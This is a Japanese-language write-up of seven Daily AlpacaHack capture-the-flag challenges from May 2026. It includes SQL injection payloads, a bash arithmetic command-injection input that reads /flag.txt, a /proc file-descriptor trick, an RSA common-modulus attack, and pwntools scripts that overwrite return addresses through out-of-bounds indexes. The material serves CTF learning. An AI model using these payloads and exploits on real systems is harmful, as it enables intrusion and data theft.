Daily AlpacaHack Writeup (2026-05-04 ~ 2026-05-10)
Daily AlpacaHack の Writeup.
(2026/5/4 - 2026/5/10)
secret-table-2 (Web, 2026/5/4)
- SQL Injection の脆弱性を持つサービスで, フラグの格納されているテーブル名と value 名がハッシュをつけることで分からなくされている
- SQLite が使われているため, テーブル情報は
sqlite_masterから取得することが可能 - LIKE 句を用いて検索を掛けてテーブル名を取得
' UNION ALL SELECT name, 'x' FROM sqlite_master WHERE type='table' AND name LIKE 'secret%' --
- 結果
secret_607360c08fede25e
- これでテーブル名が分かるためフラグを取得できるようになる
' UNION ALL SELECT sql, 'x' FROM sqlite_master WHERE type='table' AND name='secret_607360c08fede25e' --
do the math (Misc, 2026/5/5)
- 二重括弧内でコマンドを実行させる必要がある (数当てゲーム自体は関係ない?)
- 以下を送ることでフラグの表示ができる
x[$(cat /flag.txt)]
- 以前何かの問題 (多分 Daily AlpacaHack のもの) で配列にコマンドを仕込むことができるのを知ったのがそのまま使えた
func-array (Pwn, 2026/5/6)
vuln関数が実行されて, その中でalpacafunctionsという関数のポインタ配列から一つ選んで実行される- どれかの関数が実行されたのちに,
exitでmain関数に戻らずにプログラムが終了するようになっている main関数に戻ることができればwin関数を起動しフラグが入手できるobjdumpで調べると, インデックスの数raxに対してrbp+rax*8-0x20のアドレスの関数が実行される- 5 を入力として与えると
rbp+0x8の位置 (main関数のリターンアドレス) を指定できるため, そのままwinが動きフラグを獲得できる
permission denied 3 (Misc, 2026/5/7)
- bash で flag.txt を作成したのちに, カレントディレクトリの中身を全消去してから sh を起動するプログラム
- sh を起動する親プロセスは
/procの疑似ファイルシステムから探せるため, 親プロセスのファイルディスクリプタからchal.shを読み込める - 親プロセスの特定は以下で実行時のコマンドを確認することで行った
# cat /proc/8/cmdline bashchal.sh
- プロセス 8 番が
bash chal.shをしているため, 以下でフラグ獲得
# cat /proc/8/fd/255
- fd は 0, 1, 2 が
stdin, stdout, stderrのように割り振りがあり, その中に 255 があったのでファイルだと判断した - bash では 255 が読み込んでるファイルの番号に相当するらしい
Vending Machine (Misc, 2026/5/8)
- 自動販売機から f の flag アイテムを購入すればクリア
- しかし,
buy関数の選択肢に f がない - python の
find関数は要素が見つからない場合に -1 を返す
>>> a = "a" >>> a.find("b") -1
- -1 はリストでは末尾をあらわすため, 最後尾にある f を選択できる
- 以上より, どれかのアイテムを売り切れまで買えばフラグが獲得できる
from pwn import * _, host, port = "nc 34.170.146.252 30573".split() sh = remote(host, port) for _ in range(31): prompt = sh.recvuntil("your choice>".encode()) print(prompt.decode()) sh.sendline("a".encode()) sh.interactive()
reused n (Crypto, 2026/5/9)
- 二種類の公開鍵と秘密鍵が同じ平文に用いられている
- 拡張ユークリッドの互除法で以下を満たす $x, y$ を調べることができる
$$e_1x+e_2y=gcd(e_1, e_2)$$
- 今回 $gcd(e_1,e_2) = 2$ であったため, 以下の手順で $m^2$ が導出できる
$$c_1^x \cdot c_2^y \equiv m^{e_1x+e_2y} \equiv m^2 \mod n$$
- $m^2$ ならば解読できるのでフラグ獲得
from Crypto.Util.number import long_to_bytes, GCD from gmpy2 import iroot n = 13178571640586793012567895578431006213336598647618016992021111101385564507675880494100157142240834401431742321771130831756985145509468210097486523324142493070810765061531908875491431112596792453587232091874805034928132985081869302129540969324136772423519641124281648258635274249626109898675039695055984291673417521336222376761472274015216907347824441657020604021617699408757834472447463962452163608924352351402427935026730118569766428409632964751037391689318703773438040880417652722212619544567889467398474634089875497834551684161280612540169046756695700207439870958231049110389852685221293275482394861425237241365247 e1 = 1234 c1 = 8039157399126972719941134860215488312162432224351911277747901057576836439547064072611108952002470173523881172793612758368980630013812660814580553980186809383142604577483248030095916443228103501059148772090165638945253581904899235808765320050251911245803178116800884213511110604084337301138089489252743298705871397776615781566854313803104029638609257078237379518555297517690301368003972901468946609036950922940674755820790373683388043049617545267624855772055173893238755107179222261158530208284862688831605204202996065197396111024575726496773259658088327008224619479523049574648004783548505964029946811216320012270177 e2 = 5678 c2 = 8612348126061318647860637590635203090919477342082639091321890978147627347932046319823657100504464072596947931535993729591570086439532644199251697240654931363181970064577575092325615818162685361696115045090530219871304446838450045065651304063273069031258907262235588082258857106189495674567466850344537740486480334258064730365233526509020234797481005277145163833886898223467975786879879251669156318446759958408967205300137890178446506313517836534630356266449528810045546497989122428607079536589446302907496915388262730062746833588183838012821211816041927921355709694121843729293615251767584950078762092171342390652972 def ext_euclid(a: int, b: int): old_r, r = a, b old_s, s = 1, 0 old_t, t = 0, 1 while r != 0: q = old_r // r old_r, r = r, old_r - q * r old_s, s = s, old_s - q * s old_t, t = t, old_t - q * t return old_s, old_t print(GCD(e1, e2)) x, y = ext_euclid(e1//2, e2//2) m2 = (pow(c1, x, n) * pow(c2, y, n)) % n print(long_to_bytes(iroot(m2, 2)[0]))
Bounds Checking (Pwn, 2026/5/10)
- win 関数が用意されたバイナリ
- main 関数では index を指定して, array の要素を書き換える処理が行われる
- index は array の要素数を超える大きさを指定できないが, 負の数は制限されていない
- integer writer の問題を思い出したが, 今回は scanf のリターンアドレスの書き換えなどは難しそう
- 負の数が許容されるため, 負の数を十分大きく指定して, オーバーフローを引き起こすことで array のサイズを超える正の数と同等のものを指定できる
- objdump でアセンブリを調べると書き込み先アドレスは以下で計算される
rbp+rax*8-0x810
- よって
rbp+x*8-0x810=rbp+8,x=0x103に対応する負の数を指定すればよいので, 以下が送るべきインデックスとなる
0x103 - 2**61
- コード全文は以下
from pwn import * context.binary = "./chal" elf = ELF("./chal") win_addr = elf.symbols["win"] is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 22958".split() sh = remote(host, port) else: sh = process() prompt = sh.recvuntil("index:".encode()) print(prompt.decode()) index = 0x103 - 2**61 sh.sendline(str(index).encode()) prompt = sh.recvuntil("value:".encode()) print(prompt.decode()) sh.sendline(str(win_addr).encode()) sh.interactive()